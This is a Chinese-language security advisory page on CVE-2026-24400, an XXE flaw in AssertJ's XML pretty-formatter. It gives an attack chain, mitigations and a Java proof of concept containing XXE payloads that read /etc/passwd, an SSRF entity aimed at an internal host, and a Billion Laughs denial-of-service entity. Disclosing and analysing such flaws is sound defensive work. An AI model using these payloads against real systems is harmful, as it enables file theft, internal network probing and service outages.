IPBUF安全漏洞报告
English
CVE-2026-24400 CVSS 9.1 严重

CVE-2026-24400: AssertJ XmlStringPrettyFormatter XXE漏洞

披露日期: 2026-01-26

漏洞信息

漏洞编号
CVE-2026-24400
漏洞类型
XXE (XML外部实体注入)
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
AssertJ (org.assertj.core)

相关标签

XXEXML注入AssertJ文件读取SSRFDoSJava安全CVE-2026-24400测试框架漏洞

漏洞概述

CVE-2026-24400是AssertJ库中的一个高危XML外部实体(XXE)注入漏洞。AssertJ是一个流行的Java测试断言库,提供流式API用于编写测试断言。该漏洞存在于org.assertj.core.util.xml.XmlStringPrettyFormatter类中的toXmlDocument(String)方法,该方法在初始化DocumentBuilderFactory时使用了默认设置,未禁用DTD处理和外部实体解析。当应用程序使用isXmlEqualTo(CharSequence)断言或xmlPrettyFormat(String)方法处理来自不可信源的XML输入时,攻击者可以利用此漏洞读取服务器上的任意本地文件(如/etc/passwd、配置文件等),发起服务器端请求伪造(SSRF)攻击,或通过"Billion Laughs"实体扩展攻击造成拒绝服务(DoS)。由于CVSS评分高达9.1且利用复杂度低,此漏洞对使用受影响版本的应用程序构成严重威胁。

技术细节

该漏洞的根本原因在于XmlStringPrettyFormatter类的toXmlDocument(String)方法在创建XML解析器时使用了未经过安全配置的DocumentBuilderFactory。具体问题包括:1) 未调用setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)启用安全处理;2) 未调用setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)禁止DTD声明;3) 未调用setFeature("http://xml.org/sax/features/external-general-entities", false)禁用外部实体;4) 未调用setXIncludeAware(false)禁用XInclude支持;5) 未调用setExpandEntityReferences(false)禁用实体引用展开。攻击者可以通过构造包含<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>等恶意DTD的XML输入,利用file://、http://等协议URI读取敏感文件或发起SSRF攻击。"Billion Laughs"攻击则通过递归定义大量实体(如<!ENTITY lol "lol..."><!ENTITY lol2 "&lol;&lol;...">)消耗大量内存导致解析器崩溃。

攻击链分析

STEP 1
步骤1
攻击者识别目标应用程序中使用了AssertJ库,并且通过isXmlEqualTo(CharSequence)或xmlPrettyFormat(String)处理用户可控的XML输入
STEP 2
步骤2
攻击者构造包含恶意DTD声明的XML payload,注入外部实体引用指向目标资源(如file:///etc/passwd或http://internal.server/)
STEP 3
步骤3
应用程序调用XmlStringPrettyFormatter.toXmlDocument()解析恶意XML,由于未禁用外部实体,解析器会加载攻击者指定的外部资源
STEP 4
步骤4
对于文件读取攻击,解析器通过file://协议读取本地文件内容并通过实体替换将其包含在XML结果中返回给攻击者
STEP 5
步骤5
对于SSRF攻击,解析器向攻击者指定的内部服务发起HTTP请求并将响应内容返回,实现内网探测和数据窃取
STEP 6
步骤6
对于DoS攻击,递归实体扩展消耗大量内存导致JVM崩溃或响应超时

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import org.assertj.core.api.Assertions; import org.assertj.core.util.xml.XmlStringPrettyFormatter; public class XXE_PoC { public static void main(String[] args) { // PoC 1: Read local file via XXE String maliciousXml = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>" + "<!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///etc/passwd\">]>" + "<root><data>&xxe;</data></root>"; XmlStringPrettyFormatter formatter = new XmlStringPrettyFormatter(); try { String result = formatter.format(maliciousXml); System.out.println("PoC 1 - File content:\n" + result); } catch (Exception e) { e.printStackTrace(); } // PoC 2: SSRF attack via XXE String ssrfXml = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>" + "<!DOCTYPE foo [<!ENTITY xxe SYSTEM \"http://internal.corp.com/admin API\">]>" + "<root><data>&xxe;</data></root>"; // PoC 3: Billion Laughs (DoS) String dosXml = "<?xml version=\"1.0\"?>" + "<!DOCTYPE lolz [<!ENTITY lol \"lol\">" + "<!ENTITY lol2 \"&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;\">" + "<!ENTITY lol3 \"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;\">]>" + "<root><lolz>&lol3;</lolz></root>"; // Using isXmlEqualTo assertion (deprecated) // Assertions.assertThat("<root>test</root>").isXmlEqualTo(maliciousXml); } }

影响范围

AssertJ >= 1.4.0 且 < 3.27.7

防御指南

临时缓解措施
如果无法立即升级到修复版本,应:1) 避免使用isXmlEqualTo(CharSequence)和XmlStringPrettyFormatter处理来自用户或外部来源的XML输入;2) 对所有XML输入进行严格的输入验证和过滤;3) 配置网络隔离,限制解析器的网络访问能力;4) 监控异常的文件访问和出站网络连接行为。长期方案应迁移至XMLUnit并升级到AssertJ 3.27.7或更高版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表